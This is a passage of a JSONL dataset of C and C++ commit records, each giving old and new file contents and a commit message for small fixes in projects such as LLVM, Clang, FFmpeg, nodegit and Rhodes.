   return (*(ptr - 1) == KATA_SPACE && *ptr != KATA_SPACE);\n}\n\nsize_t paper_word_count(char *paper)\n{\n    size_t count = 0;\n    char *ptr = paper;\n\n    do {\n        if (!*ptr) {\n            break;\n        }\n\n        if (\n            paper_is_start_of_first_word(count, ptr) ||\n            paper_is_start_of_subsequent_word(ptr)\n        ) {\n            count += 1;\n        }\n    } while (*(++ptr));\n\n    return count;\n}\n\n#endif \/\/ PAPER_H\n","subject":"Refactor to fix potential buffer overflow.","message":"Refactor to fix potential buffer overflow.\n","lang":"C","license":"mit","repos":"jbenner-radham\/pencil-durability-kata-c"}
{"commit":"f19341dec7361451f100a882a023b14583454d7e","old_file":"test\/CFrontend\/extern-weak.c","new_file":"test\/CFrontend\/extern-weak.c","old_contents":"\/\/ RUN: %llvmgcc -O3 -S -o - -emit-llvm %s | grep extern_weak\n\/\/ RUN: %llvmgcc -O3 -S -o - -emit-llvm %s | llvm-as | llc\n\n#if !defined(__linux__) && !defined(__FreeBSD__) && !defined(__OpenBSD__)\nvoid foo() __attribute__((weak_import));\n#else\nvoid foo() __attribute__((weak));\n#endif\n\nvoid bar() { foo(); }\n\n","new_contents":"\/\/ RUN: %llvmgcc -O3 -S -o - -emit-llvm %s | grep extern_weak\n\/\/ RUN: %llvmgcc -O3 -S -o - -emit-llvm %s | llvm-as | llc\n\n#if !defined(__linux__) && !defined(__FreeBSD__) && \\\n    !defined(__OpenBSD__) && !defined(__CYGWIN__)\nvoid foo() __attribute__((weak_import));\n#else\nvoid foo() __attribute__((weak));\n#endif\n\nvoid bar() { foo(); }\n\n","subject":"Make this pass for CYGWIN.","message":"Make this pass for CYGWIN.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@44354 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap"}
{"commit":"1110425df2e58bdaeb623f9c3a8de84bccee7381","old_file":"test\/Driver\/noexecstack.c","new_file":"test\/Driver\/noexecstack.c","old_contents":"\/\/ RUN: clang -### %s -c -o tmp.o -Wa,--noexecstack | grep \"-mnoexecstack\"\n","new_contents":"\/\/ RUN: clang -### %s -c -o tmp.o -Wa,--noexecstack | grep \"mnoexecstack\"\n","subject":"Remove the leading hyphen so that grep doesn't parse it as one long option :)","message":"Remove the leading hyphen so that grep doesn't parse it as one long option :)\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@133491 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"dc6f838f1d6b4c7dabaaaf0740e194298f9d4ff4","old_file":"DDMathParser\/DDMathParser.h","new_file":"DDMathParser\/DDMathParser.h","old_contents":"\/\/\n\/\/  DDMathParser.h\n\/\/  DDMathParser\n\/\/\n\/\/  Created by Dave DeLong on 11\/20\/10.\n\/\/  Copyright 2010 Home. All rights reserved.\n\/\/\n\n#import \"DDMathEvaluator.h\"\n#import \"DDExpression.h\"\n#import \"DDParser.h\"\n#import \"DDTypes.h\"\n#import \"NSString+DDMathParsing.h\"\n\n#define DDRuleTemplateAnyNumber @\"__num\"\n#define DDRuleTemplateAnyFunction @\"__func\"\n#define DDRuleTemplateAnyVariable @\"__var\"\n#define DDRuleTemplateAnyExpression @\"__exp\"\n\n#ifdef __clang__\n#define DD_STRONG strong\n#else\n#define DD_STRONG retain\n#endif\n\n\n#if __has_feature(objc_arc)\n\n#define DD_HAS_ARC 1\n#define DD_RETAIN(_o) (_o)\n#define DD_RELEASE(_o) \n#define DD_AUTORELEASE(_o) (_o)\n\n#else\n\n#define DD_HAS_ARC 0\n#define DD_RETAIN(_o) [(_o) retain]\n#define DD_RELEASE(_o) [(_o) release]\n#define DD_AUTORELEASE(_o) [(_o) autorelease]\n\n#endif\n\n\/\/ change this to 0 if you want the \"%\" character to mean a percentage\n\/\/ please see the wiki for more information about what this switch means:\n\/\/ https:\/\/github.com\/davedelong\/DDMathParser\/wiki\n#define DD_INTERPRET_PERCENT_SIGN_AS_MOD 0\n\n","new_contents":"\/\/\n\/\/  DDMathParser.h\n\/\/  DDMathParser\n\/\/\n\/\/  Created by Dave DeLong on 11\/20\/10.\n\/\/  Copyright 2010 Home. All rights reserved.\n\/\/\n\n#import \"DDMathEvaluator.h\"\n#import \"DDExpression.h\"\n#import \"DDParser.h\"\n#import \"DDTypes.h\"\n#import \"NSString+DDMathParsing.h\"\n\n#define DDRuleTemplateAnyNumber @\"__num\"\n#define DDRuleTemplateAnyFunction @\"__func\"\n#define DDRuleTemplateAnyVariable @\"__var\"\n#define DDRuleTemplateAnyExpression @\"__exp\"\n\n#ifdef __clang__\n#define DD_STRONG strong\n#else\n#define DD_STRONG retain\n#endif\n\n\n#if __has_feature(objc_arc)\n\n#define DD_HAS_ARC 1\n#define DD_RETAIN(_o) (_o)\n#define DD_RELEASE(_o) \n#define DD_AUTORELEASE(_o) (_o)\n\n#else\n\n#define DD_HAS_ARC 0\n#define DD_RETAIN(_o) [(_o) retain]\n#define DD_RELEASE(_o) [(_o) release]\n#define DD_AUTORELEASE(_o) [(_o) autorelease]\n\n#endif\n\n\/\/ change this to 0 if you want the \"%\" character to mean a percentage\n\/\/ please see the wiki for more information about what this switch means:\n\/\/ https:\/\/github.com\/davedelong\/DDMathParser\/wiki\n#define DD_INTERPRET_PERCENT_SIGN_AS_MOD 1\n\n","subject":"Fix default value of PERCENT_SIGN_AS_MOD","message":"Fix default value of PERCENT_SIGN_AS_MOD\n","lang":"C","license":"mit","repos":"mrackwitz\/DDMathParser,davedelong\/DDMathParser,carabina\/DDMathParser,hyperoslo\/HYPMathParser,carabina\/DDMathParser,mrackwitz\/DDMathParser,davedelong\/DDMathParser"}
{"commit":"3440d0b857fa6def37c1a4185ac9602be2393c9c","old_file":"tools\/obj2yaml\/obj2yaml.h","new_file":"tools\/obj2yaml\/obj2yaml.h","old_contents":"\/\/===------ utils\/obj2yaml.hpp - obj2yaml conversion tool -------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/ This file declares some helper routines, and also the format-specific\n\/\/ writers. To add a new format, add the declaration here, and, in a separate\n\/\/ source file, implement it.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_UTILS_OBJ2YAML_H\n#define LLVM_UTILS_OBJ2YAML_H\n\n#include \"llvm\/ADT\/ArrayRef.h\"\n#include \"llvm\/Support\/MemoryBuffer.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Support\/system_error.h\"\n\nnamespace yaml {  \/\/ routines for writing YAML\n\/\/ Write a hex stream:\n\/\/    <Prefix> !hex: \"<hex digits>\" #|<ASCII chars>\\n\n  llvm::raw_ostream &writeHexStream\n    (llvm::raw_ostream &Out, const llvm::ArrayRef<uint8_t> arr);\n\n\/\/ Writes a number in hex; prefix it by 0x if it is >= 10\n  llvm::raw_ostream &writeHexNumber\n    (llvm::raw_ostream &Out, unsigned long long N);\n}\n\nllvm::error_code coff2yaml(llvm::raw_ostream &Out, llvm::MemoryBuffer *TheObj);\n\n#endif\n","new_contents":"\/\/===------ utils\/obj2yaml.hpp - obj2yaml conversion tool -------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/ This file declares some helper routines, and also the format-specific\n\/\/ writers. To add a new format, add the declaration here, and, in a separate\n\/\/ source file, implement it.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TOOLS_OBJ2YAML_H\n#define LLVM_TOOLS_OBJ2YAML_H\n\n#include \"llvm\/ADT\/ArrayRef.h\"\n#include \"llvm\/Support\/MemoryBuffer.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Support\/system_error.h\"\n\nnamespace yaml {  \/\/ routines for writing YAML\n\/\/ Write a hex stream:\n\/\/    <Prefix> !hex: \"<hex digits>\" #|<ASCII chars>\\n\n  llvm::raw_ostream &writeHexStream\n    (llvm::raw_ostream &Out, const llvm::ArrayRef<uint8_t> arr);\n\n\/\/ Writes a number in hex; prefix it by 0x if it is >= 10\n  llvm::raw_ostream &writeHexNumber\n    (llvm::raw_ostream &Out, unsigned long long N);\n}\n\nllvm::error_code coff2yaml(llvm::raw_ostream &Out, llvm::MemoryBuffer *TheObj);\n\n#endif\n","subject":"Fix include guards to match new location.","message":"Fix include guards to match new location.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@178877 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm"}
{"commit":"691cb4414e03ca9cf56b86cf76740078c4208080","old_file":"include\/frozen\/bits\/constexpr_assert.h","new_file":"include\/frozen\/bits\/constexpr_assert.h","old_contents":"\/*\n * Frozen\n * Copyright 2016 QuarksLab\n *\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifndef FROZEN_LETITGO_CONSTEXPR_ASSERT_H\n#define FROZEN_LETITGO_CONSTEXPR_ASSERT_H\n\n#ifdef _MSC_VER\n\n\/\/ FIXME: find a way to implement that correctly for msvc\n#define constexpr_assert(cond, msg)\n\n#else\n\n#define constexpr_assert(cond, msg)\\\n  if(!(cond)) {\\\n    extern void constexpr_assert_helper(char const*);\\\n    constexpr_assert_helper(msg);\\\n  }\n\n#endif\n\n#endif\n\n","new_contents":"\/*\n * Frozen\n * Copyright 2016 QuarksLab\n *\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifndef FROZEN_LETITGO_CONSTEXPR_ASSERT_H\n#define FROZEN_LETITGO_CONSTEXPR_ASSERT_H\n\n#include <cassert>\n\n#ifdef _MSC_VER\n\n\/\/ FIXME: find a way to implement that correctly for msvc\n#define constexpr_assert(cond, msg)\n\n#else\n\n#define constexpr_assert(cond, msg)\\\n    assert(cond && msg);\n#endif\n\n#endif\n\n","subject":"Use regular assert for static_assert, it's C++14 compatible","message":"Use regular assert for static_assert, it's C++14 compatible\n\nworks everywhere... but for MVSC :-\/\n","lang":"C","license":"apache-2.0","repos":"serge-sans-paille\/frozen,serge-sans-paille\/frozen"}
{"commit":"19350bd42ffbaec283ccb6caa9199accc2c8f074","old_file":"generate\/templates\/manual\/include\/cleanup_handle.h","new_file":"generate\/templates\/manual\/include\/cleanup_handle.h","old_contents":"#ifndef NODEGIT_CLEANUP_HANDLE_H\n#define NODEGIT_CLEANUP_HANDLE_H\n\n#include <map>\n#include <memory>\n\nnamespace nodegit {\n  class CleanupHandle {\n  public:\n    CleanupHandle();\n    virtual ~CleanupHandle();\n  };\n\n  class FilterRegistryCleanupHandles : public CleanupHandle {\n  public:\n    std::map<std::string, std::shared_ptr<CleanupHandle>> registeredFilters;\n  };\n}\n\n#endif\n","new_contents":"#ifndef NODEGIT_CLEANUP_HANDLE_H\n#define NODEGIT_CLEANUP_HANDLE_H\n\n#include <map>\n#include <memory>\n#include <string>\n\nnamespace nodegit {\n  class CleanupHandle {\n  public:\n    CleanupHandle();\n    virtual ~CleanupHandle();\n  };\n\n  class FilterRegistryCleanupHandles : public CleanupHandle {\n  public:\n    std::map<std::string, std::shared_ptr<CleanupHandle>> registeredFilters;\n  };\n}\n\n#endif\n","subject":"Fix a reference error when compiling with VC2019","message":"Fix a reference error when compiling with VC2019\n","lang":"C","license":"mit","repos":"nodegit\/nodegit,jmurzy\/nodegit,nodegit\/nodegit,jmurzy\/nodegit,jmurzy\/nodegit,nodegit\/nodegit,jmurzy\/nodegit,nodegit\/nodegit,nodegit\/nodegit,jmurzy\/nodegit"}
{"commit":"46d81f2bcfa56dc2579d26b1d38b86051119c7ca","old_file":"src\/Core\/Framework\/QScriptEngineHelpers.h","new_file":"src\/Core\/Framework\/QScriptEngineHelpers.h","old_contents":"\/\/ For conditions of distribution and use, see copyright notice in license.txt\n\n#include <QScriptEngine>\n#include <QMetaType>\n\n\/\/ The following functions help register a custom QObject-derived class to a QScriptEngine.\n\/\/ See http:\/\/lists.trolltech.com\/qt-interest\/2007-12\/thread00158-0.html .\ntemplate <typename Tp>\nQScriptValue qScriptValueFromQObject(QScriptEngine *engine, Tp const &qobject)\n{\n    return engine->newQObject(qobject);\n}\n\ntemplate <typename Tp>\nvoid qScriptValueToQObject(const QScriptValue &value, Tp &qobject)\n{\n    qobject = qobject_cast<Tp>(value.toQObject());\n}\n\ntemplate <typename Tp>\nint qScriptRegisterQObjectMetaType(QScriptEngine *engine, const QScriptValue &prototype = QScriptValue()\n#ifndef qdoc\n    , Tp * = 0\n#endif\n    )\n{\n    return qScriptRegisterMetaType<Tp>(engine, qScriptValueFromQObject, qScriptValueToQObject, prototype);\n}\n","new_contents":"\/\/ For conditions of distribution and use, see copyright notice in license.txt\n\n#include <QScriptEngine>\n#include <QMetaType>\n\n\/\/ The following functions help register a custom QObject-derived class to a QScriptEngine.\n\/\/ See http:\/\/lists.trolltech.com\/qt-interest\/2007-12\/thread00158-0.html .\ntemplate <typename Tp>\nQScriptValue qScriptValueFromQObject(QScriptEngine *engine, Tp const &qobject)\n{\n    return engine->newQObject(qobject);\n}\n\ntemplate <typename Tp>\nvoid qScriptValueToQObject(const QScriptValue &value, Tp &qobject)\n{\n    qobject = dynamic_cast<Tp>(value.toQObject());\n    if (!qobject)\n    {\n        \/\/ qobject_cast has been observed to fail for some metatypes, such as Entity*, so prefer dynamic_cast.\n        \/\/ However, to see that there are no regressions from that, check that if dynamic_cast fails, so does qobject_cast\n        Tp ptr = qobject_cast<Tp>(value.toQObject());\n        assert(!ptr);\n        if (ptr)\n            ::LogError(\"qScriptValueToQObject: dynamic_cast was null, but qobject_cast was not!\");\n    }\n}\n\ntemplate <typename Tp>\nint qScriptRegisterQObjectMetaType(QScriptEngine *engine, const QScriptValue &prototype = QScriptValue()\n#ifndef qdoc\n    , Tp * = 0\n#endif\n    )\n{\n    return qScriptRegisterMetaType<Tp>(engine, qScriptValueFromQObject, qScriptValueToQObject, prototype);\n}\n","subject":"Use dynamic_cast in qScriptValueToQObject as qobject_cast fails for some metatypes such as Entity*. However, assert that if dynamic_cast is null, so is qobject_cast.","message":"Use dynamic_cast in qScriptValueToQObject as qobject_cast fails for some metatypes such as Entity*. However, assert that if dynamic_cast is null, so is qobject_cast.\n","lang":"C","license":"apache-2.0","repos":"realXtend\/tundra,jesterKing\/naali,pharos3d\/tundra,jesterKing\/naali,jesterKing\/naali,AlphaStaxLLC\/tundra,AlphaStaxLLC\/tundra,BogusCurry\/tundra,jesterKing\/naali,pharos3d\/tundra,jesterKing\/naali,AlphaStaxLLC\/tundra,jesterKing\/naali,BogusCurry\/tundra,jesterKing\/naali,BogusCurry\/tundra,BogusCurry\/tundra,pharos3d\/tundra,realXtend\/tundra,pharos3d\/tundra,AlphaStaxLLC\/tundra,realXtend\/tundra,pharos3d\/tundra,BogusCurry\/tundra,AlphaStaxLLC\/tundra,realXtend\/tundra,pharos3d\/tundra,AlphaStaxLLC\/tundra,realXtend\/tundra,realXtend\/tundra,BogusCurry\/tundra"}
{"commit":"3241c8f801152bcaf30ca852e7ee1a14c128f7c8","old_file":"v0100\/tests\/c99.c","new_file":"v0100\/tests\/c99.c","old_contents":"","new_contents":"\/*\n  How to compile for DOS (all mode(l)s: tiny\/.COM, small\/.EXE, huge\/.EXE):\n    smlrcc -dost c99.c -o c99dt.com\n    smlrcc -doss c99.c -o c99ds.exe\n    smlrcc -dosh c99.c -o c99dh.exe\n\n  How to compile for Windows:\n    smlrcc -win c99.c -o c99w.exe\n\n  How to compile for Linux:\n    smlrcc -linux c99.c -o c99l\n*\/\n\n#include <stdio.h>\n#include <stdint.h> \/\/ C99\n\nuint8_t u8 = -1;\nuint16_t u16 = -1;\n#ifdef __SMALLER_C_32__\nuint32_t u32 = -1;\n#endif\n\n\/\/ C99: \/\/ comments\n\n\/\/ C99: trailing comma allowed in enum declarations\nenum { EZERO, };\n\nint main(void)\n{\n  \/\/ C99: __func__ predefined identifier\n  printf(\"Hello from %s()\\n\", __func__);\n\n  printf(\"u8=%u, u16=%u\", (unsigned)u8, (unsigned)u16);\n#ifdef __SMALLER_C_32__\n  printf(\", u32=%u\", (unsigned)u32);\n#endif\n  printf(\"\\n\");\n\n  \/\/ C99: variable declaration(s) in for loop's clause-1\n  for (int i = 0; i < 10; i++)\n    printf(\"%d\", i);\n  printf(\"\\n\");\n\n  \/\/ C99: mixed declarations and code\n  static int call = EZERO;\n\n  switch (call)\n  {\n  case 0:\n    for (int i = 0; i < 2; i++)\n    {\n      printf(\"\\ncalling main()...\\n\\n\");\n      call++;\n      printf(\"\\nmain() returned %d (expected %d)\\n\", main(), i);\n    }\n    return 0;\n  case 1:\n    break;\n  case 2:\n    return 1;\n  }\n\n  (void)3; \/\/ trying to fool the compiler into returning 3\n\n  \/\/ C99: reaching the } that terminates the main function returns a value of 0\n}\n","subject":"Add a small C99 test","message":"Add a small C99 test\n","lang":"C","license":"bsd-2-clause","repos":"gdos\/SmallerC,JianpingZeng\/SmallerC,JianpingZeng\/SmallerC,gdos\/SmallerC"}
{"commit":"ade2938ab94b28aa3dd2574bf5752e1e5a8c6641","old_file":"libavutil\/pca.h","new_file":"libavutil\/pca.h","old_contents":"\/*\n * Principal component analysis\n * Copyright (c) 2004 Michael Niedermayer <michaelni@gmx.at>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\n *\/\n\n\/**\n * @file pca.h\n * Principal component analysis\n *\/\n\ntypedef struct PCA{\n    int count;\n    int n;\n    double *covariance;\n    double *mean;\n}PCA;\n","new_contents":"\/*\n * Principal component analysis\n * Copyright (c) 2004 Michael Niedermayer <michaelni@gmx.at>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\n *\/\n\n\/**\n * @file pca.h\n * Principal component analysis\n *\/\n\nstruct PCA *ff_pca_init(int n);\nvoid ff_pca_free(struct PCA *pca);\nvoid ff_pca_add(struct PCA *pca, double *v);\nint ff_pca(struct PCA *pca, double *eigenvector, double *eigenvalue);\n\n\ntypedef struct PCA{\n    int count;\n    int n;\n    double *covariance;\n    double *mean;\n}PCA;\n","subject":"Add prototypes to header (based on code by ramiro)","message":"Add prototypes to header (based on code by ramiro)\n\n\ngit-svn-id: a4d7c1866f8397a4106e0b57fc4fbf792bbdaaaf@14808 9553f0bf-9b14-0410-a0b8-cfaf0461ba5b\n","lang":"C","license":"lgpl-2.1","repos":"prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg"}
{"commit":"114548ece9c6664d069e3e8db33e04a5e74acf75","old_file":"ADX2Manager\/ADX2Manager.h","new_file":"ADX2Manager\/ADX2Manager.h","old_contents":"#ifndef CCADX2Manager_Manager_h\n#define CCADX2Manager_Manager_h\n\n#include \"Manager.h\"\n#include \"CueSheet.h\"\n\n#endif\n","new_contents":"#ifndef CCADX2Manager_Manager_h\n#define CCADX2Manager_Manager_h\n\n#include \"Manager.h\"\n#include \"CueSheet.h\"\n#include \"SharedCueSheet.h\"\n\n#endif\n","subject":"Add SharedCueSheet to global headers","message":"Add SharedCueSheet to global headers\n","lang":"C","license":"mit","repos":"giginet\/CCADX2Manager,giginet\/CCADX2Manager,giginet\/CCADX2Manager,giginet\/CCADX2Manager"}
{"commit":"67c6e446503055f3b29f2ecd8269b09f5743ab85","old_file":"insts\/jg\/FREEVERB\/denormals.h","new_file":"insts\/jg\/FREEVERB\/denormals.h","old_contents":"\/\/ Macro for killing denormalled numbers\r\n\/\/\r\n\/\/ Written by Jezar at Dreampoint, June 2000\r\n\/\/ http:\/\/www.dreampoint.co.uk\r\n\/\/ Based on IS_DENORMAL macro by Jon Watte\r\n\/\/ This code is public domain\r\n\r\n#ifndef _denormals_\r\n#define _denormals_\r\n\r\n#if 0\r\n#define undenormalise(sample) if(((*(unsigned int*)&sample)&0x7f800000)==0) sample=0.0f\r\n#else\r\n#define undenormalise(sample)\r\n#endif\r\n\r\n#endif\/\/_denormals_\r\n\r\n\/\/ends\r\n","new_contents":"\/\/ Macro for killing denormalled numbers\r\n\/\/\r\n\/\/ Written by Jezar at Dreampoint, June 2000\r\n\/\/ http:\/\/www.dreampoint.co.uk\r\n\/\/ Based on IS_DENORMAL macro by Jon Watte\r\n\/\/ This code is public domain\r\n\r\n#ifndef _denormals_\r\n#define _denormals_\r\n\r\n#if defined(i386)\r\n\r\n#ifdef NOMORE\t\/\/ original code doesn't work on recent gcc compilers\r\n#define undenormalise(sample) \\\r\n\tif (((*(unsigned int*)&sample)&0x7f800000) == 0) sample = 0.0f\r\n\r\n#else \/\/ !NOMORE\r\n\r\n\/\/ see <ccrma-mail.stanford.edu\/pipermail\/planetccrma\/2005-January\/007868.html>\r\n\r\nstatic inline float undenormalise(volatile float s)\r\n{\r\n\ts += 9.8607615E-32f;\r\n\treturn s - 9.8607615E-32f;\r\n}\r\n\r\n\/\/#define undenormalise(sample)\r\n#endif \/\/ !NOMORE\r\n\r\n#else \/\/ !defined(i386)\r\n#define undenormalise(sample) \/\/ nothing\r\n#endif \/\/ !defined(i386)\r\n\r\n#endif\/\/_denormals_\r\n\r\n\/\/ends\r\n","subject":"Replace denormalise macro, broken on recent gcc's.","message":"Replace denormalise macro, broken on recent gcc's.\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
{"commit":"e0da7bce8c184f72a42a49990b8de158ab828423","old_file":"platform\/shared\/common\/RhoFatalError.h","new_file":"platform\/shared\/common\/RhoFatalError.h","old_contents":"#ifndef _RHOFATALERROR_H_\n#define _RHOFATALERROR_H_\n\n#include \"RhoPort.h\"\n\n#ifdef OS_SYMBIAN\n#include <e32std.h>\n#endif \n\nnamespace rho{\nnamespace common{\n\nclass CRhoFatalError{\npublic:\n    static void processFatalError(){\n        #ifdef RHO_DEBUG\n\n        #if defined (OS_WINDOWS)\n            \/\/__debugbreak();\n            DebugBreak();\n        #elif defined (OS_WINCE)\n            \/\/NKDbgPrintfW ?\n            DebugBreak();\n        #elif defined(OS_SYMBIAN)\n            User::Invariant();\n\/\/            exit(-1);\n        #elif defined(OS_MACOSX)\n            \/\/TODO: debugbreak for OS_MACOSX\n            exit(-1);\n        #else\n            exit(-1);\n        #endif\n\n        #else \/\/!RHO_DEBUG\n            exit(-1);\n        #endif \/\/!RHO_DEBUG\n    }\n\n};\n\n}\n}\n\n#endif \/\/_RHOFATALERROR_H_\n","new_contents":"#ifndef _RHOFATALERROR_H_\n#define _RHOFATALERROR_H_\n\n#include \"RhoPort.h\"\n\n#ifdef OS_SYMBIAN\n#include <e32std.h>\n#endif \n\nnamespace rho{\nnamespace common{\n\nclass CRhoFatalError{\npublic:\n    static void processFatalError(){\n        #ifdef RHO_DEBUG\n\n        #if defined (OS_WINDOWS)\n            \/\/__debugbreak();\n            DebugBreak();\n        #elif defined (OS_WINCE)\n            \/\/NKDbgPrintfW ?\n            DebugBreak();\n        #elif defined(OS_SYMBIAN)\n            User::Invariant();\n\/\/            exit(-1);\n        #elif defined(OS_MACOSX)\n\t\t\t__assert_rtn(__func__, __FILE__, __LINE__,\"RhoFatalError\");\n        #else\n            exit(-1);\n        #endif\n\n        #else \/\/!RHO_DEBUG\n            exit(-1);\n        #endif \/\/!RHO_DEBUG\n    }\n\n};\n\n}\n}\n\n#endif \/\/_RHOFATALERROR_H_\n","subject":"Support RHO_ASSERT in Debug mode","message":"Support RHO_ASSERT in Debug mode\n","lang":"C","license":"mit","repos":"pslgoh\/rhodes,UIKit0\/rhodes,louisatome\/rhodes,rhosilver\/rhodes-1,pslgoh\/rhodes,nosolosoftware\/rhodes,UIKit0\/rhodes,louisatome\/rhodes,rhomobile\/rhodes,watusi\/rhodes,jdrider\/rhodes,tauplatform\/tau,pslgoh\/rhodes,rhosilver\/rhodes-1,pslgoh\/rhodes,pslgoh\/rhodes,watusi\/rhodes,rhomobile\/rhodes,UIKit0\/rhodes,tauplatform\/tau,rhomobile\/rhodes,jdrider\/rhodes,jdrider\/rhodes,UIKit0\/rhodes,louisatome\/rhodes,tauplatform\/tau,louisatome\/rhodes,jdrider\/rhodes,watusi\/rhodes,nosolosoftware\/rhodes,watusi\/rhodes,louisatome\/rhodes,watusi\/rhodes,rhosilver\/rhodes-1,jdrider\/rhodes,UIKit0\/rhodes,tauplatform\/tau,louisatome\/rhodes,pslgoh\/rhodes,jdrider\/rhodes,nosolosoftware\/rhodes,tauplatform\/tau,UIKit0\/rhodes,nosolosoftware\/rhodes,tauplatform\/tau,louisatome\/rhodes,pslgoh\/rhodes,rhosilver\/rhodes-1,pslgoh\/rhodes,rhomobile\/rhodes,rhomobile\/rhodes,UIKit0\/rhodes,rhosilver\/rhodes-1,rhosilver\/rhodes-1,rhosilver\/rhodes-1,nosolosoftware\/rhodes,rhomobile\/rhodes,rhosilver\/rhodes-1,jdrider\/rhodes,jdrider\/rhodes,nosolosoftware\/rhodes,watusi\/rhodes,watusi\/rhodes